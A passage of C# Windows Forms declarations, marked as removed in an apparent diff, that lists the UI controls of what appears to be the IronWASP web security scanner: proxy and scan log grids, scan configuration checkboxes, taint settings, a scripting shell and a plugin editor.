System.Windows.Forms.CheckBox ConfigRuleCode5xxCB; - internal System.Windows.Forms.TextBox ConfigRuleFileExtensionsMinusTB; - internal System.Windows.Forms.TextBox ConfigRuleFileExtensionsPlusTB; - internal System.Windows.Forms.RadioButton ConfigRuleFileExtensionsMinusRB; - internal System.Windows.Forms.RadioButton ConfigRuleFileExtensionsPlusRB; - internal System.Windows.Forms.CheckBox ConfigRuleFileExtensionsCB; - internal System.Windows.Forms.CheckBox ConfigRuleKeywordInRequestCB; - internal System.Windows.Forms.TextBox ConfigRuleKeywordInRequestPlusTB; - internal System.Windows.Forms.TextBox ConfigRuleKeywordInRequestMinusTB; - internal System.Windows.Forms.RadioButton ConfigRuleKeywordInRequestPlusRB; - internal System.Windows.Forms.RadioButton ConfigRuleKeywordInRequestMinusRB; - internal System.Windows.Forms.CheckBox ConfigRuleHostNamesCB; - internal System.Windows.Forms.TextBox ConfigRuleHostNamesPlusTB; - internal System.Windows.Forms.TextBox ConfigRuleHostNamesMinusTB; - internal System.Windows.Forms.RadioButton ConfigRuleHostNamesPlusRB; - internal System.Windows.Forms.RadioButton ConfigRuleHostNamesMinusRB; - internal System.Windows.Forms.CheckBox ConfigRuleKeywordInResponseCB; - internal System.Windows.Forms.TextBox ConfigRuleKeywordInResponsePlusTB; - internal System.Windows.Forms.TextBox ConfigRuleKeywordInResponseMinusTB; - internal System.Windows.Forms.RadioButton ConfigRuleKeywordInResponsePlusRB; - internal System.Windows.Forms.RadioButton ConfigRuleKeywordInResponseMinusRB; - private System.Windows.Forms.ToolStripMenuItem EncodeDecodeToolStripMenuItem; - private System.Windows.Forms.ToolStripMenuItem DiffTextToolStripMenuItem; - internal System.Windows.Forms.OpenFileDialog ProjectFileOpenDialog; - internal System.Windows.Forms.GroupBox ConfigRuleKeywordInRequestGB; - internal System.Windows.Forms.GroupBox ConfigRuleKeywordInResponseGB; - private System.Windows.Forms.DataGridViewTextBoxColumn ProxyLogGridColumnForID; - private System.Windows.Forms.DataGridViewTextBoxColumn ProxyLogGridColumnForHostName; - private System.Windows.Forms.DataGridViewTextBoxColumn ProxyLogGridColumnForMethod; - private System.Windows.Forms.DataGridViewTextBoxColumn ProxyLogGridColumnForURL; - private System.Windows.Forms.DataGridViewTextBoxColumn ProxyLogGridColumnForFile; - private System.Windows.Forms.DataGridViewCheckBoxColumn ProxyLogGridColumnForSSL; - private System.Windows.Forms.DataGridViewTextBoxColumn ProxyLogGridColumnForParameters; - private System.Windows.Forms.DataGridViewTextBoxColumn ProxyLogGridColumnForCode; - private System.Windows.Forms.DataGridViewTextBoxColumn ProxyLogGridColumnForLength; - private System.Windows.Forms.DataGridViewTextBoxColumn ProxyLogGridColumnForMIME; - private System.Windows.Forms.DataGridViewCheckBoxColumn ProxyLogGridColumnForSetCookie; - private System.Windows.Forms.DataGridViewCheckBoxColumn ProxyLogGridColumnForEdited; - private System.Windows.Forms.DataGridViewTextBoxColumn ProxyLogGridColumnForNotes; - private System.Windows.Forms.ToolStripMenuItem AboutToolStripMenuItem; - private System.Windows.Forms.DataGridViewTextBoxColumn ScanLogGridColumnForID; - private System.Windows.Forms.DataGridViewTextBoxColumn ScanLogGridColumnForScanID; - private System.Windows.Forms.DataGridViewTextBoxColumn ScanLogGridColumnForHost; - private System.Windows.Forms.DataGridViewTextBoxColumn ScanLogGridColumnForMethod; - private System.Windows.Forms.DataGridViewTextBoxColumn ScanLogGridColumnForURL; - private System.Windows.Forms.DataGridViewTextBoxColumn ScanLogGridColumnForFile; - private System.Windows.Forms.DataGridViewCheckBoxColumn ScanLogGridColumnForSSL; - private System.Windows.Forms.DataGridViewTextBoxColumn ScanLogGridColumnForParameters; - private System.Windows.Forms.DataGridViewTextBoxColumn ScanLogGridColumnForCode; - private System.Windows.Forms.DataGridViewTextBoxColumn ScanLogGridColumnForLength; - private System.Windows.Forms.DataGridViewTextBoxColumn ScanLogGridColumnForMIME; - private System.Windows.Forms.DataGridViewCheckBoxColumn ScanLogGridColumnForSetCookie; - internal System.Windows.Forms.CheckBox ProxyShowOriginalResponseCB; - internal System.Windows.Forms.CheckBox ProxyShowOriginalRequestCB; - internal System.Windows.Forms.DataGridView ASRequestScanURLGrid; - internal System.Windows.Forms.TabControl ASRequestTabs; - internal System.Windows.Forms.DataGridView ASRequestScanQueryGrid; - internal System.Windows.Forms.DataGridView ConfigureScanRequestFormatPluginsGrid; - internal System.Windows.Forms.DataGridView ConfigureScanRequestBodyTypeFormatPluginGrid; - internal System.Windows.Forms.TabControl ASRequestScanBodyTabs; - internal System.Windows.Forms.TextBox ConfigureScanRequestFormatXMLTB; - internal System.Windows.Forms.DataGridView ASRequestScanCookieGrid; - internal System.Windows.Forms.DataGridView ASRequestScanHeadersGrid; - internal System.Windows.Forms.DataGridView ASScanPluginsGrid; - internal System.Windows.Forms.CheckBox ASRequestScanAllCB; - internal System.Windows.Forms.CheckBox ASRequestScanURLCB; - internal System.Windows.Forms.CheckBox ASRequestScanQueryCB; - internal System.Windows.Forms.CheckBox ASRequestScanBodyCB; - internal System.Windows.Forms.CheckBox ASRequestScanCookieCB; - internal System.Windows.Forms.CheckBox ASRequestScanHeadersCB; - internal IronDataView.IronDataView ASRequestRawHeadersIDV; - internal IronDataView.IronDataView ASRequestRawBodyIDV; - private System.Windows.Forms.TabPage tabPage20; - private System.Windows.Forms.TabPage tabPage21; - internal System.Windows.Forms.TabControl ASRequestScanFullTabs; - internal System.Windows.Forms.CheckBox ConfigRuleContentJSONCB; - private System.Windows.Forms.ContextMenuStrip PluginTreeMenu; - private System.Windows.Forms.ToolStripMenuItem allPluginsToolStripMenuItem; - private System.Windows.Forms.ToolStripMenuItem AllPluginsRAToolStripMenuItem; - private System.Windows.Forms.ToolStripMenuItem AllPluginsANToolStripMenuItem; - private System.Windows.Forms.ToolStripMenuItem passivePluginsToolStripMenuItem; - private System.Windows.Forms.ToolStripMenuItem PassivePluginsRAToolStripMenuItem; - private System.Windows.Forms.ToolStripMenuItem PassivePluginsANToolStripMenuItem; - private System.Windows.Forms.ToolStripMenuItem activePluginsToolStripMenuItem; - private System.Windows.Forms.ToolStripMenuItem ActivePluginsRAToolStripMenuItem; - private System.Windows.Forms.ToolStripMenuItem ActivePluginsANToolStripMenuItem; - private System.Windows.Forms.ToolStripMenuItem formatPluginsToolStripMenuItem; - private System.Windows.Forms.ToolStripMenuItem FormatPluginsRAToolStripMenuItem; - private System.Windows.Forms.ToolStripMenuItem FormatPluginsANToolStripMenuItem; - private System.Windows.Forms.ToolStripMenuItem sessionPluginsToolStripMenuItem; - private System.Windows.Forms.ToolStripMenuItem SessionPluginsRAToolStripMenuItem; - private System.Windows.Forms.ToolStripMenuItem SessionPluginsANToolStripMenuItem; - private System.Windows.Forms.ToolStripMenuItem SelectedPluginReloadToolStripMenuItem; - private System.Windows.Forms.ToolStripMenuItem SelectedPluginDeactivateToolStripMenuItem; - internal System.Windows.Forms.TextBox MTExceptionTB; - internal System.Windows.Forms.TextBox ASExceptionTB; - internal System.Windows.Forms.TextBox ProxyExceptionTB; - private System.Windows.Forms.ContextMenuStrip MTRequestFormatPluginsMenu; - private System.Windows.Forms.ToolStripMenuItem MTRequestSerXmlToObjectMenuItem; - private System.Windows.Forms.ToolStripMenuItem MTRequestDeSerObjectToXmlMenuItem; - private System.Windows.Forms.ContextMenuStrip ProxyRequestFormatPluginsMenu; - private System.Windows.Forms.ToolStripMenuItem ProxyRequestSerXmlToObjectMenuItem; - private System.Windows.Forms.ToolStripMenuItem ProxyRequestDeSerObjectToXmlMenuItem; - private System.Windows.Forms.ContextMenuStrip ProxyResponseFormatPluginsMenu; - private System.Windows.Forms.ToolStripMenuItem ProxyResponseSerXmlToObjectMenuItem; - private System.Windows.Forms.ToolStripMenuItem ProxyResponseDeSerObjectToXmlMenuItem; - private System.Windows.Forms.TabPage ConfigScriptingTab; - private System.Windows.Forms.SplitContainer ConfigScriptBaseSplit; - private System.Windows.Forms.SplitContainer ConfigScriptPathSplit; - private System.Windows.Forms.SplitContainer ConfigScriptCommandSplit; - private System.Windows.Forms.LinkLabel ConfigScriptPathApplyChangesLL; - private System.Windows.Forms.LinkLabel ConfigScriptPathCancelChangesLL; - private System.Windows.Forms.LinkLabel ConfigScriptCommandApplyChangesLL; - private System.Windows.Forms.LinkLabel ConfigScriptCommandCancelChangesLL; - private System.Windows.Forms.Label label12; - private System.Windows.Forms.Label label14; - internal System.Windows.Forms.TextBox ConfigScriptPyPathsTB; - internal System.Windows.Forms.TextBox ConfigScriptRbPathsTB; - internal System.Windows.Forms.TextBox ConfigScriptPyCommandsTB; - internal System.Windows.Forms.TextBox ConfigScriptRbCommandsTB; - private System.Windows.Forms.TabPage ConfigHTTPAPITab; - private System.Windows.Forms.Label label15; - private System.Windows.Forms.Label label16; - private System.Windows.Forms.Label label17; - private System.Windows.Forms.Label label18; - private System.Windows.Forms.SplitContainer ConfigHTTPAPIBaseSplit; - private System.Windows.Forms.Label label22; - private System.Windows.Forms.LinkLabel ConfigResponseTypesApplyChangesLL; - private System.Windows.Forms.LinkLabel ConfigResponseTypesCancelChangesLL; - internal System.Windows.Forms.TextBox ConfigResponseTypesTB; - internal System.Windows.Forms.TextBox ConfigRequestTypesTB; - private System.Windows.Forms.Label label19; - private System.Windows.Forms.LinkLabel ConfigRequestTypesCancelChangesLL; - private System.Windows.Forms.LinkLabel ConfigRequestTypesApplyChangesLL; - private System.Windows.Forms.TabPage ConfigInterceptRulesTab; - private System.Windows.Forms.TabPage ConfigDisplayRulesTab; - private System.Windows.Forms.LinkLabel ConfigDisplayRuleApplyChangesLL; - private System.Windows.Forms.LinkLabel ConfigDisplayRuleCancelChangesLL; - internal System.Windows.Forms.CheckBox ConfigDisplayRuleContentJSONCB; - private System.Windows.Forms.GroupBox groupBox3; - internal System.Windows.Forms.CheckBox ConfigDisplayRuleHostNamesCB; - internal System.Windows.Forms.TextBox ConfigDisplayRuleHostNamesPlusTB; - internal System.Windows.Forms.TextBox ConfigDisplayRuleHostNamesMinusTB; - internal System.Windows.Forms.RadioButton ConfigDisplayRuleHostNamesPlusRB; - internal System.Windows.Forms.RadioButton ConfigDisplayRuleHostNamesMinusRB; - private System.Windows.Forms.GroupBox groupBox4; - internal System.Windows.Forms.CheckBox ConfigDisplayRuleFileExtensionsCB; - internal System.Windows.Forms.TextBox ConfigDisplayRuleFileExtensionsPlusTB; - internal System.Windows.Forms.TextBox ConfigDisplayRuleFileExtensionsMinusTB; - internal System.Windows.Forms.RadioButton ConfigDisplayRuleFileExtensionsPlusRB; - internal System.Windows.Forms.RadioButton ConfigDisplayRuleFileExtensionsMinusRB; - private System.Windows.Forms.Label label20; - internal System.Windows.Forms.CheckBox ConfigDisplayRuleContentCSSCB; - internal System.Windows.Forms.CheckBox ConfigDisplayRuleCode5xxCB; - internal System.Windows.Forms.CheckBox ConfigDisplayRuleContentJSCB; - internal System.Windows.Forms.CheckBox ConfigDisplayRuleCode500CB; - internal System.Windows.Forms.CheckBox ConfigDisplayRuleContentImgCB; - internal System.Windows.Forms.CheckBox ConfigDisplayRuleCode4xxCB; - internal System.Windows.Forms.CheckBox ConfigDisplayRuleContentOtherBinaryCB; - internal System.Windows.Forms.CheckBox ConfigDisplayRuleCode403CB; - private System.Windows.Forms.Label label21; - internal System.Windows.Forms.CheckBox ConfigDisplayRuleCode3xxCB; - internal System.Windows.Forms.CheckBox ConfigDisplayRuleContentHTMLCB; - internal System.Windows.Forms.CheckBox ConfigDisplayRuleCode301_2CB; - internal System.Windows.Forms.CheckBox ConfigDisplayRuleGETMethodCB; - internal System.Windows.Forms.CheckBox ConfigDisplayRuleCode2xxCB; - internal System.Windows.Forms.CheckBox ConfigDisplayRulePOSTMethodCB; - internal System.Windows.Forms.CheckBox ConfigDisplayRuleCode200CB; - internal System.Windows.Forms.CheckBox ConfigDisplayRuleOtherMethodsCB; - private System.Windows.Forms.Label label23; - internal System.Windows.Forms.CheckBox ConfigDisplayRuleContentOtherTextCB; - internal System.Windows.Forms.CheckBox ConfigDisplayRuleContentXMLCB; - internal System.Windows.Forms.DataGridView SiteMapLogGrid; - private System.Windows.Forms.DataGridViewTextBoxColumn SiteMapLogGridColumnForID; - private System.Windows.Forms.DataGridViewTextBoxColumn SiteMapLogGridColumnForSource; - private System.Windows.Forms.DataGridViewTextBoxColumn SiteMapLogGridColumnForHost; - private System.Windows.Forms.DataGridViewTextBoxColumn SiteMapLogGridColumnForMethod; - private System.Windows.Forms.DataGridViewTextBoxColumn SiteMapLogGridColumnForURL; - private System.Windows.Forms.DataGridViewTextBoxColumn SiteMapLogGridColumnForFile; - private System.Windows.Forms.DataGridViewCheckBoxColumn SiteMapLogGridColumnForSSL; - private System.Windows.Forms.DataGridViewTextBoxColumn SiteMapLogGridColumnForParameters; - private System.Windows.Forms.DataGridViewTextBoxColumn SiteMapLogGridColumnForCode; - private System.Windows.Forms.DataGridViewTextBoxColumn SiteMapLogGridColumnForLength; - private System.Windows.Forms.DataGridViewTextBoxColumn SiteMapLogGridColumnForMIME; - private System.Windows.Forms.DataGridViewCheckBoxColumn SiteMapLogGridColumnForSetCookie; - private System.Windows.Forms.DataGridViewTextBoxColumn ScriptingLogGridColumnForID; - private System.Windows.Forms.DataGridViewTextBoxColumn ScriptingLogGridColumnForHostName; - private System.Windows.Forms.DataGridViewTextBoxColumn ScriptingLogGridColumnForMethod; - private System.Windows.Forms.DataGridViewTextBoxColumn ScriptingLogGridColumnForURL; - private System.Windows.Forms.DataGridViewTextBoxColumn ScriptingLogGridColumnForFile; - private System.Windows.Forms.DataGridViewCheckBoxColumn ScriptingLogGridColumnForSSL; - private System.Windows.Forms.DataGridViewTextBoxColumn ScriptingLogGridColumnForParameters; - private System.Windows.Forms.DataGridViewTextBoxColumn ScriptingLogGridColumnForCode; - private System.Windows.Forms.DataGridViewTextBoxColumn ScriptingLogGridColumnForLength; - private System.Windows.Forms.DataGridViewTextBoxColumn ScriptingLogGridColumnForMIME; - private System.Windows.Forms.DataGridViewCheckBoxColumn ScriptingLogGridColumnForSetCookie; - internal System.Windows.Forms.SplitContainer ResultsTabMainSplit; - private System.Windows.Forms.ContextMenuStrip IronTreeMenuStrip; - private System.Windows.Forms.ToolStripMenuItem ScanBranchToolStripMenuItem; - private System.Windows.Forms.ToolStripMenuItem CopyRequestToolStripMenuItem; - private System.Windows.Forms.ToolStripMenuItem CopyResponseToolStripMenuItem; - private System.Windows.Forms.Label label24; - private System.Windows.Forms.Label label25; - internal System.Windows.Forms.CheckBox ConfigRuleRequestOnResponseRulesCB; - private System.Windows.Forms.Label label26; - private System.Windows.Forms.Label label27; - private System.Windows.Forms.ToolStripMenuItem importToolStripMenuItem; - private System.Windows.Forms.ToolStripMenuItem ImportBurpLogToolStripMenuItem; - private System.Windows.Forms.OpenFileDialog BurpLogOpenDialog; - private System.Windows.Forms.ContextMenuStrip ScanQueueMenu; - private System.Windows.Forms.ToolStripMenuItem StopAllScansToolStripMenuItem; - private System.Windows.Forms.ToolStripMenuItem StartAllStoppedAndAbortedScansToolStripMenuItem; - private System.Windows.Forms.ToolStripMenuItem StopThisScanJobToolStripMenuItem; - private System.Windows.Forms.TabPage ASTraceTab; - private System.Windows.Forms.SplitContainer ScanTraceBaseSplit; - internal System.Windows.Forms.DataGridView ScanTraceGrid; - internal System.Windows.Forms.RichTextBox ScanTraceMsgRTB; - internal System.Windows.Forms.TabControl ASMainTabs; - private System.Windows.Forms.TabPage mt_console; - private System.Windows.Forms.Label label29; - private System.Windows.Forms.RichTextBox richTextBox2; - internal System.Windows.Forms.DataGridView ProbeLogGrid; - private System.Windows.Forms.DataGridViewTextBoxColumn ProbeLogGridColumnForID; - private System.Windows.Forms.DataGridViewTextBoxColumn ProbeLogGridColumnForHostName; - private System.Windows.Forms.DataGridViewTextBoxColumn ProbeLogGridColumnForMethod; - private System.Windows.Forms.DataGridViewTextBoxColumn ProbeLogGridColumnForURL; - private System.Windows.Forms.DataGridViewTextBoxColumn ProbeLogGridColumnForFile; - private System.Windows.Forms.DataGridViewCheckBoxColumn ProbeLogGridColumnForSSL; - private System.Windows.Forms.DataGridViewTextBoxColumn ProbeLogGridColumnForParameters; - private System.Windows.Forms.DataGridViewTextBoxColumn ProbeLogGridColumnForCode; - private System.Windows.Forms.DataGridViewTextBoxColumn ProbeLogGridColumnForLength; - private System.Windows.Forms.DataGridViewTextBoxColumn ProbeLogGridColumnForMIME; - private System.Windows.Forms.DataGridViewCheckBoxColumn ProbeLogGridColumnForSetCookie; - private System.Windows.Forms.TabPage mt_logs; - internal System.Windows.Forms.TabControl LogDisplayTabs; - private System.Windows.Forms.TabPage tabPage7; - private System.Windows.Forms.TabPage tabPage29; - private System.Windows.Forms.TabPage ScanLogTab; - private System.Windows.Forms.TabPage TestLogTab; - private System.Windows.Forms.TabPage ShellLogTab; - private System.Windows.Forms.TabPage ProxyLogTab; - private System.Windows.Forms.TabPage ProbeLogTab; - private System.Windows.Forms.TabPage SiteMapLogTab; - private System.Windows.Forms.Button NextLogBtn; - private System.Windows.Forms.Button PreviousLogBtn; - internal System.Windows.Forms.TextBox LogStatusTB; - private System.Windows.Forms.Button NextTestLog; - private System.Windows.Forms.Button PreviousTestLog; - internal System.Windows.Forms.DataGridView TestGroupLogGrid; - internal System.Windows.Forms.SplitContainer LogBaseSplit; - internal System.Windows.Forms.Button ShowLogGridBtn; - internal System.Windows.Forms.Label LogIDLbl; - internal System.Windows.Forms.Label LogSourceLbl; - internal System.Windows.Forms.TabControl LogTabs; - private System.Windows.Forms.DataGridViewTextBoxColumn MTLogGridColumnForID; - private System.Windows.Forms.DataGridViewTextBoxColumn MTLogGridColumnForHostName; - private System.Windows.Forms.DataGridViewTextBoxColumn MTLogGridColumnForMethod; - private System.Windows.Forms.DataGridViewTextBoxColumn MTLogGridColumnForURL; - private System.Windows.Forms.DataGridViewTextBoxColumn MTLogGridColumnForFile; - private System.Windows.Forms.DataGridViewCheckBoxColumn MTLogGridColumnForSSL; - private System.Windows.Forms.DataGridViewTextBoxColumn MTLogGridColumnForParameters; - private System.Windows.Forms.DataGridViewTextBoxColumn MTLogGridColumnForCode; - private System.Windows.Forms.DataGridViewTextBoxColumn MTLogGridColumnForLength; - private System.Windows.Forms.DataGridViewTextBoxColumn MTLogGridColumnForMIME; - private System.Windows.Forms.DataGridViewCheckBoxColumn MTLogGridColumnForSetCookie; - internal System.Windows.Forms.Label ScanIDLbl; - internal System.Windows.Forms.Label ScanStatusLbl; - private System.Windows.Forms.DataGridViewCheckBoxColumn ASRequestURLSelectColumn; - private System.Windows.Forms.DataGridViewTextBoxColumn ASRequestURLPositionColumn; - private System.Windows.Forms.DataGridViewTextBoxColumn ASRequestURLValueColumn; - private System.Windows.Forms.DataGridViewCheckBoxColumn ASRequestQuerySelectColumn; - private System.Windows.Forms.DataGridViewTextBoxColumn ASRequestQueryNameColumn; - private System.Windows.Forms.DataGridViewTextBoxColumn ASRequestQueryValueColumn; - private System.Windows.Forms.DataGridViewCheckBoxColumn ASRequestCookieSelectColumn; - private System.Windows.Forms.DataGridViewTextBoxColumn ASRequestCookieNameColumn; - private System.Windows.Forms.DataGridViewTextBoxColumn ASRequestCookieValueColumn; - private System.Windows.Forms.DataGridViewCheckBoxColumn ASRequestHeadersSelectColumn; - private System.Windows.Forms.DataGridViewTextBoxColumn ASRequestHeadersNameColumn; - private System.Windows.Forms.DataGridViewTextBoxColumn ASRequestHeadersValueColumn; - internal System.Windows.Forms.CheckBox ConfigureScanRequestSSLCB; - internal System.Windows.Forms.Button ASStartScanBtn; - private System.Windows.Forms.LinkLabel ViewProxyLogLink; - private System.Windows.Forms.ContextMenuStrip JSTainTraceEditMenu; - private System.Windows.Forms.ToolStripMenuItem AddSourceTaintToolStripMenuItem; - private System.Windows.Forms.ToolStripMenuItem AddSinkTaintToolStripMenuItem; - private System.Windows.Forms.ToolStripMenuItem RemoveSourceTaintToolStripMenuItem; - private System.Windows.Forms.ToolStripMenuItem RemoveSinkTaintToolStripMenuItem; - private System.Windows.Forms.LinkLabel ConfigViewHideLL; - private System.Windows.Forms.Panel panel1; - private System.Windows.Forms.Label label30; - internal System.Windows.Forms.TextBox ConsoleStatusTB; - internal System.Windows.Forms.TextBox ConsoleScanUrlTB; - internal System.Windows.Forms.Button ConsoleStartScanBtn; - internal System.Windows.Forms.Label ScanJobsCompletedLbl; - internal System.Windows.Forms.Label ScanJobsCreatedLbl; - internal System.Windows.Forms.Label CrawlerRequestsLbl; - private System.Windows.Forms.TabPage ConfigTaintConfigTab; - private System.Windows.Forms.LinkLabel ConfigJSTaintConfigCancelChangesLL; - private System.Windows.Forms.LinkLabel ConfigJSTaintConfigApplyChangesLL; - private System.Windows.Forms.DataGridViewTextBoxColumn ConfigDefaultSourceObjectsColumn; - private System.Windows.Forms.DataGridViewTextBoxColumn ConfigDefaultSinkObjectsColumn; - private System.Windows.Forms.DataGridViewTextBoxColumn ConfigDefaultArgumentAssignedASourceMethodsColumn; - private System.Windows.Forms.DataGridViewTextBoxColumn ConfigDefaultArgumentAssignedToSinkMethodsColumn; - private System.Windows.Forms.DataGridViewTextBoxColumn ConfigDefaultSourceReturningMethodsColumn; - private System.Windows.Forms.DataGridViewTextBoxColumn ConfigDefaultSinkReturningMethodsColumn; - private System.Windows.Forms.DataGridViewTextBoxColumn ConfigDefaultArgumentReturningMethodsColumn; - internal System.Windows.Forms.DataGridView ConfigDefaultJSTaintConfigGrid; - private System.Windows.Forms.Label label31; - internal System.Windows.Forms.Label ConfigScannerThreadMaxCountLbl; - private System.Windows.Forms.ToolStripMenuItem SelectResponseForJavaScriptTestingToolStripMenuItem; - private System.Windows.Forms.LinkLabel ConfigScannerSettingsCancelChangesLL; - private System.Windows.Forms.LinkLabel ConfigScannerSettingsApplyChangesLL; - internal System.Windows.Forms.TrackBar ConfigScannerThreadMaxCountTB; - private System.Windows.Forms.ToolStripMenuItem RenderHTMLToolStripMenuItem; - private System.Windows.Forms.ToolStripMenuItem CopyLineTaintToolStripMenuItem; - private System.Windows.Forms.Button LogOptionsBtn; - private System.Windows.Forms.Button ProxyOptionsBtn; - private System.Windows.Forms.TabPage ConfigPassiveAnalysisTab; - private System.Windows.Forms.LinkLabel ConfigPassiveAnalysisSettingsCancelChangesLL; - private System.Windows.Forms.LinkLabel ConfigPassiveAnalysisSettingsApplyChangesLL; - private System.Windows.Forms.Label label34; - internal System.Windows.Forms.CheckBox ConfigPassiveAnalysisOnProxyTrafficCB; - internal System.Windows.Forms.CheckBox ConfigPassiveAnalysisOnProbeTrafficCB; - internal System.Windows.Forms.CheckBox ConfigPassiveAnalysisOnScanTrafficCB; - internal System.Windows.Forms.CheckBox ConfigPassiveAnalysisOnTestTrafficCB; - internal System.Windows.Forms.CheckBox ConfigPassiveAnalysisOnShellTrafficCB; - private System.Windows.Forms.TabPage mt_scripting; - private System.Windows.Forms.SplitContainer ScriptingShellSplit; - internal System.Windows.Forms.Button ClearShellDisplayBtn; - internal System.Windows.Forms.Button MultiLineShellExecuteBtn; - internal System.Windows.Forms.Button InteractiveShellCtrlCBtn; - private System.Windows.Forms.TabControl ScriptingShellTabs; - private System.Windows.Forms.TabPage MultiLineShellTP; - internal ICSharpCode.TextEditor.TextEditorControl MultiLineShellInTE; - private System.Windows.Forms.TabPage ScriptedSendTP; - internal System.Windows.Forms.TextBox CustomSendErrorTB; - internal ICSharpCode.TextEditor.TextEditorControl CustomSendTE; - internal System.Windows.Forms.RichTextBox CustomSendBottomRtb; - internal System.Windows.Forms.RichTextBox CustomSendTopRtb; - private System.Windows.Forms.Label label1; - internal System.Windows.Forms.CheckBox CustomSendActivateCB; - private System.Windows.Forms.RadioButton CustomSendRubyRB; - private System.Windows.Forms.RadioButton CustomSendPythonRB; - internal System.Windows.Forms.RadioButton InteractiveShellRubyRB; - private System.Windows.Forms.Label label2; - internal System.Windows.Forms.RadioButton InteractiveShellPythonRB; - private System.Windows.Forms.SplitContainer ScriptingShellAPISplit; - private System.Windows.Forms.TabControl ScriptingShellAPITreeTabs; - private System.Windows.Forms.TabPage ScriptingShellAPITreePythonTab; - internal System.Windows.Forms.TreeView ScriptingShellPythonAPITree; - private System.Windows.Forms.TabPage ScriptingShellAPITreeRubyTab; - internal System.Windows.Forms.TreeView ScriptingShellRubyAPITree; - private System.Windows.Forms.RichTextBox ShellAPIDetailsRTB; - private System.Windows.Forms.TabPage InteractiveShellTP; - internal System.Windows.Forms.TextBox InteractiveShellPromptBox; - internal System.Windows.Forms.TextBox InteractiveShellOut; - internal System.Windows.Forms.TextBox InteractiveShellIn; - private System.Windows.Forms.Timer PromptBlinkTimer; - private System.Windows.Forms.Panel ShellInPanel; - private System.Windows.Forms.Button MainLogFrontFourBtn; - private System.Windows.Forms.Button MainLogFrontThreeBtn; - private System.Windows.Forms.Button MainLogFrontTwoBtn; - private System.Windows.Forms.Button MainLogFrontOneBtn; - private System.Windows.Forms.Button MainLogBackOneBtn; - private System.Windows.Forms.Button MainLogBackTwoBtn; - private System.Windows.Forms.Button MainLogBackThreeBtn; - private System.Windows.Forms.Button MainLogBackFourBtn; - internal System.Windows.Forms.Label MainLogStatusLbl; - internal System.Windows.Forms.Label MainLogStatLbl; - internal System.Windows.Forms.Label ScanTraceStatusLbl; - internal System.Windows.Forms.Label ScanTraceStatLbl; - private System.Windows.Forms.Button ScanTraceFrontFourBtn; - private System.Windows.Forms.Button ScanTraceBackOneBtn; - private System.Windows.Forms.Button ScanTraceFrontThreeBtn; - private System.Windows.Forms.Button ScanTraceBackFourBtn; - private System.Windows.Forms.Button ScanTraceFrontTwoBtn; - private System.Windows.Forms.Button ScanTraceBackThreeBtn; - private System.Windows.Forms.Button ScanTraceFrontOneBtn; - private System.Windows.Forms.Button ScanTraceBackTwoBtn; - private System.Windows.Forms.ToolStripMenuItem devToolsToolStripMenuItem; - private System.Windows.Forms.ToolStripMenuItem scriptPluginEditorToolStripMenuItem; - private System.Windows.Forms.ToolStripMenuItem uIDesignerToolStripMenuItem1; - private System.Windows.Forms.TabPage mt_dev; - private System.Windows.Forms.TabControl DevMainTabs; - private System.Windows.Forms.TabPage DevModulesAndPluginsTab; - private System.Windows.Forms.TabPage DevTraceTab; - private System.Windows.Forms.SplitContainer TraceBaseSplit; - internal System.Windows.Forms.DataGridView TraceGrid; - private System.Windows.Forms.DataGridViewTextBoxColumn dataGridViewTextBoxColumn26; - private System.Windows.Forms.DataGridViewTextBoxColumn dataGridViewTextBoxColumn28; - private System.Windows.Forms.DataGridViewTextBoxColumn Column1; - private System.Windows.Forms.DataGridViewTextBoxColumn dataGridViewTextBoxColumn29; - private System.Windows.Forms.DataGridViewTextBoxColumn dataGridViewTextBoxColumn30; - private System.Windows.Forms.DataGridViewTextBoxColumn dataGridViewTextBoxColumn31; - internal System.Windows.Forms.RichTextBox TraceMsgRTB; - private System.Windows.Forms.SplitContainer PluginsMainSplit; - internal System.Windows.Forms.TreeView PluginAndModuleTree; - private System.Windows.Forms.SplitContainer PluginEditorSplit; - private System.Windows.Forms.SplitContainer PluginsCentreSplit; - internal System.Windows.Forms.RichTextBox PluginDetailsRTB; - internal ICSharpCode.TextEditor.TextEditorControl PluginEditorInTE; - private System.Windows.Forms.SplitContainer PluginEditorAPISplit; - private System.Windows.Forms.TabControl PluginEditorAPITreeTabs; - private System.Windows.Forms.TabPage PluginEditorPythonAPITreeTab; - internal System.Windows.Forms.TreeView PluginEditorPythonAPITree; - private System.Windows.Forms.TabPage PluginEditorRubyAPITreeTab; - internal System.Windows.Forms.TreeView PluginEditorRubyAPITree; - private System.Windows.Forms.RichTextBox PluginEditorAPIDetailsRTB; - private System.Windows.Forms.ToolStripMenuItem modulesToolStripMenuItem; - private System.Windows.Forms.ToolStripMenuItem RunModulesOnFindingToolStripMenuItem; - private System.Windows.Forms.ToolStripMenuItem RunModulesOnUrlToolStripMenuItem; - private System.Windows.Forms.ToolStripMenuItem RunModulesOnRequestResponseToolStripMenuItem; - private System.Windows.Forms.ToolStripMenuItem SelectedModuleReloadToolStripMenuItem; - private System.Windows.Forms.TabPage OtherLogTab; - private System.Windows.Forms.SplitContainer OtherLogsTabBaseSplit; - internal System.Windows.Forms.DataGridView OtherLogSourceGrid; - internal System.Windows.Forms.DataGridView OtherLogGrid; - private System.Windows.Forms.DataGridViewTextBoxColumn LogGridColumnForID; - private System.Windows.Forms.DataGridViewTextBoxColumn LogGridColumnForHostName; - private System.Windows.Forms.DataGridViewTextBoxColumn LogGridColumnForMethod; - private System.Windows.Forms.DataGridViewTextBoxColumn LogGridColumnForURL; - private System.Windows.Forms.DataGridViewTextBoxColumn LogGridColumnForFile; - private System.Windows.Forms.DataGridViewCheckBoxColumn LogGridColumnForSSL; - private System.Windows.Forms.DataGridViewTextBoxColumn LogGridColumnForParameters; - private System.Windows.Forms.DataGridViewTextBoxColumn LogGridColumnForCode; - private System.Windows.Forms.DataGridViewTextBoxColumn LogGridColumnForLength; - private System.Windows.Forms.DataGridViewTextBoxColumn LogGridColumnForMIME; - private System.Windows.Forms.DataGridViewCheckBoxColumn LogGridColumnForSetCookie; - private System.Windows.Forms.TabPage ASRequestTab; - private System.Windows.Forms.TabPage ASInjectionPointTab; - internal System.Windows.Forms.TabControl ASBaseTabs; - private System.Windows.Forms.TabPage ASBodyTypeNormalTab; - private System.Windows.Forms.TabPage ASBodyTypeFormatPluginTab; - private System.Windows.Forms.TabPage ASBodyTypeCustomTab; - private System.Windows.Forms.DataGridViewCheckBoxColumn ASRequestBodyDataFormatSelectColumn; - private System.Windows.Forms.DataGridViewTextBoxColumn ASRequestBodyDataFormatColumn; - private System.Windows.Forms.DataGridViewCheckBoxColumn ASRequestBodySelectColumn; - private 